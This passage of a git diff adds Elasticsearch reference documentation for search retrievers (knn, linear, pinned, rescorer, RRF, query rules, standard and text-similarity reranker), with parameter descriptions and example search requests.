+
+
+`query_vector_builder`
+:   (Required if `query_vector` is not defined, query vector builder object)
+
+    Defines a [model](docs-content://solutions/search/vector/knn.md#knn-semantic-search) to build a query vector.
+
+
+`k`
+:   (Required, integer)
+
+    Number of nearest neighbors to return as top hits. This value must be fewer than or equal to `num_candidates`.
+
+
+`num_candidates`
+:   (Required, integer)
+
+    The number of nearest neighbor candidates to consider per shard. Needs to be greater than `k`, or `size` if `k` is omitted, and cannot exceed 10,000. {{es}} collects `num_candidates` results from each shard, then merges them to find the top `k` results. Increasing `num_candidates` tends to improve the accuracy of the final `k` results. Defaults to `Math.min(1.5 * k, 10_000)`.
+
+
+`filter`
+:   (Optional, [query object or list of query objects](/reference/query-languages/querydsl.md))
+
+    Query to filter the documents that can match. The kNN search will return the top `k` documents that also match this filter. The value can be a single query or a list of queries. If `filter` is not provided, all documents are allowed to match.
+
+
+`similarity`
+:   (Optional, float)
+
+    The minimum similarity required for a document to be considered a match. The similarity value calculated relates to the raw [`similarity`](/reference/elasticsearch/mapping-reference/dense-vector.md#dense-vector-similarity) used. Not the document score. The matched documents are then scored according to [`similarity`](/reference/elasticsearch/mapping-reference/dense-vector.md#dense-vector-similarity) and the provided `boost` is applied.
+
+    The `similarity` parameter is the direct vector similarity calculation.
+
+    * `l2_norm`: also known as Euclidean, will include documents where the vector is within the `dims` dimensional hypersphere with radius `similarity` with origin at `query_vector`.
+    * `cosine`, `dot_product`, and `max_inner_product`: Only return vectors where the cosine similarity or dot-product are at least the provided `similarity`.
+
+    Read more here: [knn similarity search](docs-content://solutions/search/vector/knn.md#knn-similarity-search)
+
+
+`rescore_vector`
+:   (Optional, object) Apply oversampling and rescoring to quantized vectors.
+
+::::{note}
+Rescoring only makes sense for quantized vectors; when [quantization](/reference/elasticsearch/mapping-reference/dense-vector.md#dense-vector-quantization) is not used, the original vectors are used for scoring. Rescore option will be ignored for non-quantized `dense_vector` fields.
+::::
+
+
+`oversample`
+:   (Required, float)
+
+    Applies the specified oversample factor to `k` on the approximate kNN search. The approximate kNN search will:
+
+    * Retrieve `num_candidates` candidates per shard.
+    * From these candidates, the top `k * oversample` candidates per shard will be rescored using the original vectors.
+    * The top `k` rescored candidates will be returned.
+
+
+See [oversampling and rescoring quantized vectors](docs-content://solutions/search/vector/knn.md#dense-vector-knn-search-rescoring) for details.
+
+
+## Restrictions [_restrictions_2]
+
+The parameters `query_vector` and `query_vector_builder` cannot be used together.
+
+
+## Example [knn-retriever-example]
+
+```console
+GET /restaurants/_search
+{
+  "retriever": {
+    "knn": { <1>
+      "field": "vector", <2>
+      "query_vector": [10, 22, 77], <3>
+      "k": 10, <4>
+      "num_candidates": 10 <5>
+    }
+  }
+}
+```
+
+1. Configuration for k-nearest neighbor (knn) search, which is based on vector similarity.
+2. Specifies the field name that contains the vectors.
+3. The query vector against which document vectors are compared in the `knn` search.
+4. The number of nearest neighbors to return as top hits. This value must be fewer than or equal to `num_candidates`.
+5. The size of the initial candidate set from which the final `k` nearest neighbors are selected.
diff --git a/docs/reference/elasticsearch/rest-apis/retrievers/linear-retriever.md b/docs/reference/elasticsearch/rest-apis/retrievers/linear-retriever.md
new file mode 100644
index 0000000000000..119438a60057a
--- /dev/null
+++ b/docs/reference/elasticsearch/rest-apis/retrievers/linear-retriever.md
@@ -0,0 +1,93 @@
+---
+applies_to:
+ stack: all
+ serverless: ga
+---
+
+# Linear retriever [linear-retriever]
+
+A retriever that normalizes and linearly combines the scores of other retrievers.
+
+
+## Parameters [linear-retriever-parameters]
+
+::::{note}
+Either `query` or `retrievers` must be specified.
+Combining `query` and `retrievers` is not supported.
+::::
+
+`query` {applies_to}`stack: ga 9.1`
+:   (Optional, String)
+
+    The query to use when using the [multi-field query format](../retrievers.md#multi-field-query-format).
+
+`fields` {applies_to}`stack: ga 9.1`
+:   (Optional, array of strings)
+
+    The fields to query when using the [multi-field query format](../retrievers.md#multi-field-query-format).
+    Fields can include boost values using the `^` notation (e.g., `"field^2"`).
+    If not specified, uses the index's default fields from the `index.query.default_field` index setting, which is `*` by default.
+
+`normalizer` {applies_to}`stack: ga 9.1`
+:   (Optional, String)
+
+    The normalizer to use when using the [multi-field query format](../retrievers.md#multi-field-query-format).
+    See [normalizers](#linear-retriever-normalizers) for supported values.
+    Required when `query` is specified.
+
+    ::::{warning}
+    Avoid using `none` as that will disable normalization and may bias the result set towards lexical matches.
+    See [field grouping](../retrievers.md#multi-field-field-grouping) for more information.
+    ::::
+
+`retrievers`
+:   (Optional, array of objects)
+
+    A list of the sub-retrievers' configuration, that we will take into account and whose result sets we will merge through a weighted sum.
+    Each configuration can have a different weight and normalization depending on the specified retriever.
+
+`rank_window_size`
+:   (Optional, integer)
+
+    This value determines the size of the individual result sets per query. A higher value will improve result relevance at the cost of performance.
+    The final ranked result set is pruned down to the search request’s [size](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search#search-size-param).
+    `rank_window_size` must be greater than or equal to `size` and greater than or equal to `1`.
+    Defaults to 10.
+
+`filter`
+:   (Optional, [query object or list of query objects](/reference/query-languages/querydsl.md))
+
+    Applies the specified [boolean query filter](/reference/query-languages/query-dsl/query-dsl-bool-query.md) to all of the specified sub-retrievers, according to each retriever’s specifications.
+
+Each entry in the `retrievers` array specifies the following parameters:
+
+`retriever`
+:   (Required, a `retriever` object)
+
+    Specifies the retriever for which we will compute the top documents for. The retriever will produce `rank_window_size` results, which will later be merged based on the specified `weight` and `normalizer`.
+
+`weight`
+:   (Optional, float)
+
+    The weight that each score of this retriever’s top docs will be multiplied with. Must be greater or equal to 0. Defaults to 1.0.
+
+`normalizer`
+:   (Optional, String)
+
+    Specifies how the retriever’s score will be normalized before applying the specified `weight`.
+    See [normalizers](#linear-retriever-normalizers) for supported values.
+    Defaults to `none`.
+
+See also [this hybrid search example](docs-content://solutions/search/retrievers-examples.md#retrievers-examples-linear-retriever) using a linear retriever on how to independently configure and apply normalizers to retrievers.
+
+## Normalizers [linear-retriever-normalizers]
+
+The `linear` retriever supports the following normalizers:
+
+* `none`: No normalization
+* `minmax`: Normalizes scores based on the following formula:
+
+    ```
+    score = (score - min) / (max - min)
+    ```
+* `l2_norm`: Normalizes scores using the L2 norm of the score values
diff --git a/docs/reference/elasticsearch/rest-apis/retrievers/pinned-retriever.md b/docs/reference/elasticsearch/rest-apis/retrievers/pinned-retriever.md
new file mode 100644
index 0000000000000..572fae25b333f
--- /dev/null
+++ b/docs/reference/elasticsearch/rest-apis/retrievers/pinned-retriever.md
@@ -0,0 +1,55 @@
+---
+applies_to:
+ stack: ga 9.1
+ serverless: ga
+---
+
+# Pinned retriever [pinned-retriever]
+
+A `pinned` retriever returns top documents by always placing specific documents at the top of the results, with the remaining hits provided by a secondary retriever.
+
+This retriever offers similar functionality to the [pinned query](/reference/query-languages/query-dsl/query-dsl-pinned-query.md), but works seamlessly with other retrievers. This is useful for promoting certain documents for particular queries, regardless of their relevance score.
+
+## Parameters [pinned-retriever-parameters]
+
+`ids`
+:   (Optional, array of strings)
+
+    A list of document IDs to pin at the top of the results, in the order provided.
+
+`docs`
+:   (Optional, array of objects)
+
+    A list of objects specifying documents to pin. Each object must contain at least an `_id` field, and may also specify `_index` if pinning documents across multiple indices.
+
+`retriever`
+:   (Optional, retriever object)
+
+    A retriever (for example a `standard` retriever or a specialized retriever such as `rrf` retriever) used to retrieve the remaining documents after the pinned ones.
+
+Either `ids` or `docs` must be specified.
+
+## Example using `docs` [pinned-retriever-example-documents]
+
+```console
+GET /restaurants/_search
+{
+  "retriever": {
+    "pinned": {
+      "docs": [
+        { "_id": "doc1", "_index": "my-index" },
+        { "_id": "doc2" }
+      ],
+      "retriever": {
+        "standard": {
+          "query": {
+            "match": {
+              "title": "elasticsearch"
+            }
+          }
+        }
+      }
+    }
+  }
+}
+```
diff --git a/docs/reference/elasticsearch/rest-apis/retrievers/rescorer-retriever.md b/docs/reference/elasticsearch/rest-apis/retrievers/rescorer-retriever.md
new file mode 100644
index 0000000000000..b9f12e6dce795
--- /dev/null
+++ b/docs/reference/elasticsearch/rest-apis/retrievers/rescorer-retriever.md
@@ -0,0 +1,123 @@
+---
+applies_to:
+ stack: all
+ serverless: ga
+---
+
+# Rescorer retriever [rescorer-retriever]
+
+The `rescorer` retriever re-scores only the results produced by its child retriever. For the `standard` and `knn` retrievers, the `window_size` parameter specifies the number of documents examined per shard.
+
+For compound retrievers like `rrf`, the `window_size` parameter defines the total number of documents examined globally.
+
+When using the `rescorer`, an error is returned if the following conditions are not met:
+
+* The minimum configured rescore’s `window_size` is:
+
+    * Greater than or equal to the `size` of the parent retriever for nested `rescorer` setups.
+    * Greater than or equal to the `size` of the search request when used as the primary retriever in the tree.
+
+* And the maximum rescore’s `window_size` is:
+
+    * Smaller than or equal to the `size` or `rank_window_size` of the child retriever.
+
+## Parameters [rescorer-retriever-parameters]
+
+`rescore`
+:   (Required. [A rescorer definition or an array of rescorer definitions](/reference/elasticsearch/rest-apis/filter-search-results.md#rescore))
+
+    Defines the [rescorers](/reference/elasticsearch/rest-apis/filter-search-results.md#rescore) applied sequentially to the top documents returned by the child retriever.
+
+
+`retriever`
+:   (Required. `retriever`)
+
+    Specifies the child retriever responsible for generating the initial set of top documents to be re-ranked.
+
+
+`filter`
+:   (Optional. [query object or list of query objects](/reference/query-languages/querydsl.md))
+
+    Applies a [boolean query filter](/reference/query-languages/query-dsl/query-dsl-bool-query.md) to the retriever, ensuring that all documents match the filter criteria without affecting their scores.
+
+
+
+## Example [rescorer-retriever-example]
+
+The `rescorer` retriever can be placed at any level within the retriever tree. The following example demonstrates a `rescorer` applied to the results produced by an `rrf` retriever:
+
+```console
+GET movies/_search
+{
+  "size": 10, <1>
+  "retriever": {
+    "rescorer": { <2>
+      "rescore": {
+        "window_size": 50, <3>
+        "query": { <4>
+          "rescore_query": {
+            "script_score": {
+              "query": {
+                "match_all": {}
+              },
+              "script": {
+                "source": "cosineSimilarity(params.queryVector, 'product-vector_final_stage') + 1.0",
+                "params": {
+                  "queryVector": [-0.5, 90.0, -10, 14.8, -156.0]
+                }
+              }
+            }
+          }
+        }
+      },
+      "retriever": { <5>
+        "rrf": {
+          "rank_window_size": 100, <6>
+          "retrievers": [
+            {
+              "standard": {
+                "query": {
+                  "sparse_vector": {
+                    "field": "plot_embedding",
+                    "inference_id": "my-elser-model",
+                    "query": "films that explore psychological depths"
+                  }
+                }
+              }
+            },
+            {
+              "standard": {
+                "query": {
+                  "multi_match": {
+                    "query": "crime",
+                    "fields": [
+                      "plot",
+                      "title"
+                    ]
+                  }
+                }
+              }
+            },
+            {
+              "knn": {
+                "field": "vector",
+                "query_vector": [10, 22, 77],
+                "k": 10,
+                "num_candidates": 10
+              }
+            }
+          ]
+        }
+      }
+    }
+  }
+}
+```
+
+1. Specifies the number of top documents to return in the final response.
+2. A `rescorer` retriever applied as the final step.
+3. Defines the number of documents to rescore from the child retriever.
+4. The definition of the `query` rescorer.
+5. Specifies the child retriever definition.
+6. Defines the number of documents returned by the `rrf` retriever, which limits the available documents to
+
diff --git a/docs/reference/elasticsearch/rest-apis/retrievers/rrf-retriever.md b/docs/reference/elasticsearch/rest-apis/retrievers/rrf-retriever.md
new file mode 100644
index 0000000000000..622f8881cf84f
--- /dev/null
+++ b/docs/reference/elasticsearch/rest-apis/retrievers/rrf-retriever.md
@@ -0,0 +1,149 @@
+---
+applies_to:
+ stack: all
+ serverless: ga
+---
+
+# RRF retriever [rrf-retriever]
+
+An [RRF](/reference/elasticsearch/rest-apis/reciprocal-rank-fusion.md) retriever returns top documents based on the RRF formula, equally weighting two or more child retrievers.
+Reciprocal rank fusion (RRF) is a method for combining multiple result sets with different relevance indicators into a single result set.
+
+
+## Parameters [rrf-retriever-parameters]
+
+::::{note}
+Either `query` or `retrievers` must be specified.
+Combining `query` and `retrievers` is not supported.
+::::
+
+`query` {applies_to}`stack: ga 9.1`
+:   (Optional, String)
+
+    The query to use when using the [multi-field query format](../retrievers.md#multi-field-query-format).
+
+`fields` {applies_to}`stack: ga 9.1`
+:   (Optional, array of strings)
+
+    The fields to query when using the [multi-field query format](../retrievers.md#multi-field-query-format).
+    If not specified, uses the index's default fields from the `index.query.default_field` index setting, which is `*` by default.
+
+`retrievers`
+:   (Optional, array of retriever objects)
+
+    A list of child retrievers to specify which sets of returned top documents will have the RRF formula applied to them.
+    Each child retriever carries an equal weight as part of the RRF formula. Two or more child retrievers are required.
+
+`rank_constant`
+:   (Optional, integer)
+
+    This value determines how much influence documents in individual result sets per query have over the final ranked result set. A higher value indicates that lower ranked documents have more influence. This value must be greater than or equal to `1`. Defaults to `60`.
+
+`rank_window_size`
+:   (Optional, integer)
+
+    This value determines the size of the individual result sets per query.
+    A higher value will improve result relevance at the cost of performance.
+    The final ranked result set is pruned down to the search request’s [size](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search#search-size-param).
+    `rank_window_size` must be greater than or equal to `size` and greater than or equal to `1`.
+    Defaults to 10.
+
+`filter`
+:   (Optional, [query object or list of query objects](/reference/query-languages/querydsl.md))
+
+    Applies the specified [boolean query filter](/reference/query-languages/query-dsl/query-dsl-bool-query.md) to all of the specified sub-retrievers, according to each retriever’s specifications.
+
+## Example: Hybrid search [rrf-retriever-example-hybrid]
+
+A simple hybrid search example (lexical search + dense vector search) combining a `standard` retriever with a `knn` retriever using RRF:
+
+```console
+GET /restaurants/_search
+{
+  "retriever": {
+    "rrf": { <1>
+      "retrievers": [ <2>
+        {
+          "standard": { <3>
+            "query": {
+              "multi_match": {
+                "query": "Austria",
+                "fields": [
+                  "city",
+                  "region"
+                ]
+              }
+            }
+          }
+        },
+        {
+          "knn": { <4>
+            "field": "vector",
+            "query_vector": [10, 22, 77],
+            "k": 10,
+            "num_candidates": 10
+          }
+        }
+      ],
+      "rank_constant": 1, <5>
+      "rank_window_size": 50  <6>
+    }
+  }
+}
+```
+
+1. Defines a retriever tree with an RRF retriever.
+2. The sub-retriever array.
+3. The first sub-retriever is a `standard` retriever.
+4. The second sub-retriever is a `knn` retriever.
+5. The rank constant for the RRF retriever.
+6. The rank window size for the RRF retriever.
+
+## Example: Hybrid search with sparse vectors [rrf-retriever-example-hybrid-sparse]
+
+A more complex hybrid search example (lexical search + ELSER sparse vector search + dense vector search) using RRF:
+
+```console
+GET movies/_search
+{
+  "retriever": {
+    "rrf": {
+      "retrievers": [
+        {
+          "standard": {
+            "query": {
+              "sparse_vector": {
+                "field": "plot_embedding",
+                "inference_id": "my-elser-model",
+                "query": "films that explore psychological depths"
+              }
+            }
+          }
+        },
+        {
+          "standard": {
+            "query": {
+              "multi_match": {
+                "query": "crime",
+                "fields": [
+                  "plot",
+                  "title"
+                ]
+              }
+            }
+          }
+        },
+        {
+          "knn": {
+            "field": "vector",
+            "query_vector": [10, 22, 77],
+            "k": 10,
+            "num_candidates": 10
+          }
+        }
+      ]
+    }
+  }
+}
+```
+
diff --git a/docs/reference/elasticsearch/rest-apis/retrievers/rule-retriever.md b/docs/reference/elasticsearch/rest-apis/retrievers/rule-retriever.md
new file mode 100644
index 0000000000000..e9bd4ac78d2cc
--- /dev/null
+++ b/docs/reference/elasticsearch/rest-apis/retrievers/rule-retriever.md
@@ -0,0 +1,121 @@
+---
+applies_to:
+ stack: all
+ serverless: ga
+---
+
+# Query rules retriever [rule-retriever]
+
+The `rule` retriever enables fine-grained control over search results by applying contextual [query rules](/reference/elasticsearch/rest-apis/searching-with-query-rules.md#query-rules) to pin or exclude documents for specific queries. This retriever has similar functionality to the [rule query](/reference/query-languages/query-dsl/query-dsl-rule-query.md), but works out of the box with other retrievers.
+
+## Prerequisites [_prerequisites_16]
+
+To use the `rule` retriever you must first create one or more query rulesets using the [query rules management APIs](https://www.elastic.co/docs/api/doc/elasticsearch/group/endpoint-query_rules).
+
+## Parameters [rule-retriever-parameters]
+
+`retriever`
+:   (Required, `retriever`)
+
+    The child retriever that returns the results to apply query rules on top of. This can be a standalone retriever such as the [standard](standard-retriever.md) or [knn](knn-retriever.md) retriever, or it can be a compound retriever.
+
+
+`ruleset_ids`
+:   (Required, `array`)
+
+    An array of one or more unique [query ruleset](https://www.elastic.co/docs/api/doc/elasticsearch/group/endpoint-query_rules) IDs with query-based rules to match and apply as applicable. Rulesets and their associated rules are evaluated in the order in which they are specified in the query and ruleset. The maximum number of rulesets to specify is 10.
+
+
+`match_criteria`
+:   (Required, `object`)
+
+    Defines the match criteria to apply to rules in the given query ruleset(s). Match criteria should match the keys defined in the `criteria.metadata` field of the rule.
+
+
+`rank_window_size`
+:   (Optional, `int`)
+
+    The number of top documents to return from the `rule` retriever. Defaults to `10`.
+
+## Example: Rule retriever [rule-retriever-example]
+
+This example shows the rule retriever executed without any additional retrievers. It runs the query defined by the `retriever` and applies the rules from `my-ruleset` on top of the returned results.
+
+```console
+GET movies/_search
+{
+  "retriever": {
+    "rule": {
+      "match_criteria": {
+        "query_string": "harry potter"
+      },
+      "ruleset_ids": [
+        "my-ruleset"
+      ],
+      "retriever": {
+        "standard": {
+          "query": {
+            "query_string": {
+              "query": "harry potter"
+            }
+          }
+        }
+      }
+    }
+  }
+}
+```
+
+## Example: Rule retriever combined with RRF [rule-retriever-example-rrf]
+
+This example shows how to combine the `rule` retriever with other rerank retrievers such as [rrf](rrf-retriever.md) or [text_similarity_reranker](text-similarity-reranker-retriever.md).
+
+::::{warning}
+The `rule` retriever will apply rules to any documents returned from its defined `retriever` or any of its sub-retrievers. This means that for the best results, the `rule` retriever should be the outermost defined retriever. Nesting a `rule` retriever as a sub-retriever under a reranker such as `rrf` or `text_similarity_reranker` may not produce the expected results.
+
+::::
+
+
+```console
+GET movies/_search
+{
+  "retriever": {
+    "rule": { <1>
+      "match_criteria": {
+        "query_string": "harry potter"
+      },
+      "ruleset_ids": [
+        "my-ruleset"
+      ],
+      "retriever": {
+        "rrf": { <2>
+          "retrievers": [
+            {
+              "standard": {
+                "query": {
+                  "query_string": {
+                    "query": "sorcerer's stone"
+                  }
+                }
+              }
+            },
+            {
+              "standard": {
+                "query": {
+                  "query_string": {
+                    "query": "chamber of secrets"
+                  }
+                }
+              }
+            }
+          ]
+        }
+      }
+    }
+  }
+}
+```
+
+1. The `rule` retriever is the outermost retriever, applying rules to the search results that were previously reranked using the `rrf` retriever.
+2. The `rrf` retriever returns results from all of its sub-retrievers, and the output of the `rrf` retriever is used as input to the `rule` retriever.
+
diff --git a/docs/reference/elasticsearch/rest-apis/retrievers/standard-retriever.md b/docs/reference/elasticsearch/rest-apis/retrievers/standard-retriever.md
new file mode 100644
index 0000000000000..e4c6e4b7554da
--- /dev/null
+++ b/docs/reference/elasticsearch/rest-apis/retrievers/standard-retriever.md
@@ -0,0 +1,98 @@
+---
+applies_to:
+ stack: all
+ serverless: ga
+---
+# Standard retriever [standard-retriever]
+
+A standard retriever returns top documents from a traditional [query](/reference/query-languages/querydsl.md).
+
+
+### Parameters: [standard-retriever-parameters]
+
+`query`
+:   (Optional, [query object](/reference/query-languages/querydsl.md))
+
+    Defines a query to retrieve a set of top documents.
+
+
+`filter`
+:   (Optional, [query object or list of query objects](/reference/query-languages/querydsl.md))
+
+    Applies a [boolean query filter](/reference/query-languages/query-dsl/query-dsl-bool-query.md) to this retriever, where all documents must match this query but do not contribute to the score.
+
+
+`search_after`
+:   (Optional, [search after object](/reference/elasticsearch/rest-apis/paginate-search-results.md#search-after))
+
+    Defines a search after object parameter used for pagination.
+
+
+`terminate_after`
+:   (Optional, integer) Maximum number of documents to collect for each shard. If a query reaches this limit, {{es}} terminates the query early. {{es}} collects documents before sorting.
+
+    ::::{important}
+    Use with caution. {{es}} applies this parameter to each shard handling the request. When possible, let {{es}} perform early termination automatically. Avoid specifying this parameter for requests that target data streams with backing indices across multiple data tiers.
+    ::::
+
+
+`sort`
+:   (Optional, [sort object](/reference/elasticsearch/rest-apis/sort-search-results.md)) A sort object that specifies the order of matching documents.
+
+
+`min_score`
+:   (Optional, `float`)
+
+    Minimum [`_score`](/reference/query-languages/query-dsl/query-filter-context.md#relevance-scores) for matching documents. Documents with a lower `_score` are not included in the top documents.
+
+
+`collapse`
+:   (Optional, [collapse object](/reference/elasticsearch/rest-apis/collapse-search-results.md))
+
+    Collapses the top documents by a specified key into a single top document per key.
+
+
+## Restrictions [_restrictions]
+
+When a retriever tree contains a compound retriever (a retriever with two or more child retrievers) the [search after](/reference/elasticsearch/rest-apis/paginate-search-results.md#search-after) parameter is not supported.
+
+
+## Example [standard-retriever-example]
+
+```console
+GET /restaurants/_search
+{
+  "retriever": { <1>
+    "standard": { <2>
+      "query": { <3>
+        "bool": { <4>
+          "should": [ <5>
+            {
+              "match": { <6>
+                "region": "Austria"
+              }
+            }
+          ],
+          "filter": [ <7>
+            {
+              "term": { <8>
+                "year": "2019" <9>
+              }
+            }
+          ]
+        }
+      }
+    }
+  }
+}
+```
+
+1. Opens the `retriever` object.
+2. The `standard` retriever is used for defining traditional {{es}} queries.
+3. The entry point for defining the search query.
+4. The `bool` object allows for combining multiple query clauses logically.
+5. The `should` array indicates conditions under which a document will match. Documents matching these conditions will have increased relevancy scores.
+6. The `match` object finds documents where the `region` field contains the word "Austria."
+7. The `filter` array provides filtering conditions that must be met but do not contribute to the relevancy score.
+8. The `term` object is used for exact matches, in this case, filtering documents by the `year` field.
+9. The exact value to match in the `year` field.
diff --git a/docs/reference/elasticsearch/rest-apis/retrievers/text-similarity-reranker-retriever.md b/docs/reference/elasticsearch/rest-apis/retrievers/text-similarity-reranker-retriever.md
new file mode 100644
index 0000000000000..9abb236a45d1e
--- /dev/null
+++ b/docs/reference/elasticsearch/rest-apis/retrievers/text-similarity-reranker-retriever.md
@@ -0,0 +1,248 @@
+---
+applies_to:
+ stack: all
+ serverless: ga
+---
+
+# Text similarity re-ranker retriever [text-similarity-reranker-retriever]
+
+The `text_similarity_reranker` retriever uses an NLP model to improve search results by reordering the top-k documents based on their semantic similarity to the query.
+
+::::{tip}
+Refer to [*Semantic re-ranking*](docs-content://solutions/search/ranking/semantic-reranking.md) for a high level overview of semantic re-ranking.
+::::
+
+## Prerequisites [_prerequisites_15]
+
+To use `text_similarity_reranker`, you can rely on the preconfigured `.rerank-v1-elasticsearch` inference endpoint, which uses the [Elastic Rerank model](docs-content://explore-analyze/machine-learning/nlp/ml-nlp-rerank.md) and serves as the default if no `inference_id` is provided. This model is optimized for reranking based on text similarity. If you'd like to use a different model, you can set up a custom inference endpoint for the `rerank` task using the [Create {{infer}} API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-inference-put). The endpoint should be configured with a machine learning model capable of computing text similarity. Refer to [the Elastic NLP model reference](docs-content://explore-analyze/machine-learning/nlp/ml-nlp-model-ref.md#ml-nlp-model-ref-text-similarity) for a list of third-party text similarity models supported by {{es}}.
+
+You have the following options:
+
+* Use the built-in [Elastic Rerank](docs-content://explore-analyze/machine-learning/nlp/ml-nlp-rerank.md) cross-encoder model via the inference API’s {{es}} service. See [this example](https://www.elastic.co/guide/en/elasticsearch/reference/current/infer-service-elasticsearch.html#inference-example-elastic-reranker) for creating an endpoint using the Elastic Rerank model.
+* Use the [Cohere Rerank inference endpoint](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-inference-put) with the `rerank` task type.
+* Use the [Google Vertex AI inference endpoint](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-inference-put) with the `rerank` task type.
+* Upload a model to {{es}} with [Eland](eland://reference/machine-learning.md#ml-nlp-pytorch) using the `text_similarity` NLP task type.
+
+    * Then set up an [{{es}} service inference endpoint](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-inference-put) with the `rerank` task type.
+    * Refer to the [example](#text-similarity-reranker-retriever-example-eland) on this page for a step-by-step guide.
+
+
+::::{important}
+Scores from the re-ranking process are normalized using the following formula before returned to the user, to avoid having negative scores.
+
+```text
+score = max(score, 0) + min(exp(score), 1)
+```
+
+Using the above, any initially negative scores are projected to (0, 1) and positive scores to [1, infinity). To revert back if needed, one can use:
+
+```text
+score = score - 1, if score >= 0
+score = ln(score), if score < 0
+```
+
+::::
+
+## Parameters [text-similarity-reranker-retriever-parameters]
+
+`retriever`
+:   (Required, `retriever`)
+
+    The child retriever that generates the initial set of top documents to be re-ranked.
+
+
+`field`
+:   (Required, `string`)
+
+    The document field to be used for text similarity comparisons. This field should contain the text that will be evaluated against the `inferenceText`.
+
+
+`inference_id`
+:   (Optional, `string`)
+
+    Unique identifier of the inference endpoint created using the {{infer}} API. If you don’t specify an inference endpoint, the `inference_id` field defaults to `.rerank-v1-elasticsearch`, a preconfigured endpoint for the elasticsearch `.rerank-v1` model.
+
+
+`inference_text`
+:   (Required, `string`)
+
+    The text snippet used as the basis for similarity comparison.
+
+
+`rank_window_size`
+:   (Optional, `int`)
+
+    The number of top documents to consider in the re-ranking process. Defaults to `10`.
+
+
+`min_score`
+:   (Optional, `float`)
+
+    Sets a minimum threshold score for including documents in the re-ranked results. Documents with similarity scores below this threshold will be excluded. Note that score calculations vary depending on the model used.
+
+
+`filter`
+:   (Optional, [query object or list of query objects](/reference/query-languages/querydsl.md))
+
+    Applies the specified [boolean query filter](/reference/query-languages/query-dsl/query-dsl-bool-query.md) to the child  `retriever`. If the child retriever already specifies any filters, then this top-level filter is applied in conjuction with the filter defined in the child retriever.
+
+
+
+## Example: Elastic Rerank [text-similarity-reranker-retriever-example-elastic-rerank]
+
+::::{tip}
+Refer to this [Python notebook](https://github.com/elastic/elasticsearch-labs/blob/main/notebooks/search/12-semantic-reranking-elastic-rerank.ipynb) for an end-to-end example using Elastic Rerank.
+
+::::
+
+
+This example demonstrates how to deploy the [Elastic Rerank](docs-content://explore-analyze/machine-learning/nlp/ml-nlp-rerank.md) model and use it to re-rank search results using the `text_similarity_reranker` retriever.
+
+Follow these steps:
+
+1. Create an inference endpoint for the `rerank` task using the [Create {{infer}} API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-inference-put).
+
+    ```console
+    PUT _inference/rerank/my-elastic-rerank
+    {
+      "service": "elasticsearch",
+      "service_settings": {
+        "model_id": ".rerank-v1",
+        "num_threads": 1,
+        "adaptive_allocations": { <1>
+          "enabled": true,
+          "min_number_of_allocations": 1,
+          "max_number_of_allocations": 10
+        }
+      }
+    }
+    ```
+
+    1. [Adaptive allocations](docs-content://deploy-manage/autoscaling/trained-model-autoscaling.md#enabling-autoscaling-through-apis-adaptive-allocations) will be enabled with the minimum of 1 and the maximum of 10 allocations.
+
+2. Define a `text_similarity_rerank` retriever:
+
+    ```console
+    POST _search
+    {
+      "retriever": {
+        "text_similarity_reranker": {
+          "retriever": {
+            "standard": {
+              "query": {
+                "match": {
+                  "text": "How often does the moon hide the sun?"
+                }
+              }
+            }
+          },
+          "field": "text",
+          "inference_id": "my-elastic-rerank",
+          "inference_text": "How often does the moon hide the sun?",
+          "rank_window_size": 100,
+          "min_score": 0.5
+        }
+      }
+    }
+    ```
+
+
+
+## Example: Cohere Rerank [text-similarity-reranker-retriever-example-cohere]
+
+This example enables out-of-the-box semantic search by re-ranking top documents using the Cohere Rerank API. This approach eliminates the need to generate and store embeddings for all indexed documents. This requires a [Cohere Rerank inference endpoint](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-inference-put) that is set up for the `rerank` task type.
+
+```console
+GET /index/_search
+{
+   "retriever": {
+      "text_similarity_reranker": {
+         "retriever": {
+            "standard": {
+               "query": {
+                  "match_phrase": {
+                     "text": "landmark in Paris"
+                  }
+               }
+            }
+         },
+         "field": "text",
+         "inference_id": "my-cohere-rerank-model",
+         "inference_text": "Most famous landmark in Paris",
+         "rank_window_size": 100,
+         "min_score": 0.5
+      }
+   }
+}
+```
+
+
+## Example: Semantic re-ranking with a Hugging Face model [text-similarity-reranker-retriever-example-eland]
+
+The following example uses the `cross-encoder/ms-marco-MiniLM-L-6-v2` model from Hugging Face to rerank search results based on semantic similarity. The model must be uploaded to {{es}} using [Eland](eland://reference/machine-learning.md#ml-nlp-pytorch).
+
+::::{tip}
+Refer to [the Elastic NLP model reference](docs-content://explore-analyze/machine-learning/nlp/ml-nlp-model-ref.md#ml-nlp-model-ref-text-similarity) for a list of third party text similarity models supported by {{es}}.
+
+::::
+
+
+Follow these steps to load the model and create a semantic re-ranker.
+
+1. Install Eland using `pip`
+
+    ```sh
+    python -m pip install eland[pytorch]
+    ```
+
+2. Upload the model to {{es}} using Eland. This example assumes you have an Elastic Cloud deployment and an API key. Refer to the [Eland documentation](eland://reference/machine-learning.md#ml-nlp-pytorch-auth) for more authentication options.
+
+    ```sh
+    eland_import_hub_model \
+      --cloud-id $CLOUD_ID \
+      --es-api-key $ES_API_KEY \
+      --hub-model-id cross-encoder/ms-marco-MiniLM-L-6-v2 \
+      --task-type text_similarity \
+      --clear-previous \
+      --start
+    ```
+
+3. Create an inference endpoint for the `rerank` task
+
+    ```console
+    PUT _inference/rerank/my-msmarco-minilm-model
+    {
+      "service": "elasticsearch",
+      "service_settings": {
+        "num_allocations": 1,
+        "num_threads": 1,
+        "model_id": "cross-encoder__ms-marco-minilm-l-6-v2"
+      }
+    }
+    ```
+
+4. Define a `text_similarity_rerank` retriever.
+
+    ```console
+    POST movies/_search
+    {
+      "retriever": {
+        "text_similarity_reranker": {
+          "retriever": {
+            "standard": {
+              "query": {
+                "match": {
+                  "genre": "drama"
+                }
+              }
+            }
+          },
+          "field": "plot",
+          "inference_id": "my-msmarco-minilm-model",
+          "inference_text": "films that explore psychological depths"
+        }
+      }
+    }
+    ```
+
+    This retriever uses a standard `match` query to search the `movie` index for films tagged with the genre "drama". It then re-ranks the results based on semantic similarity to the text in the `inference_text` parameter, using the model we uploaded to {{es}}.
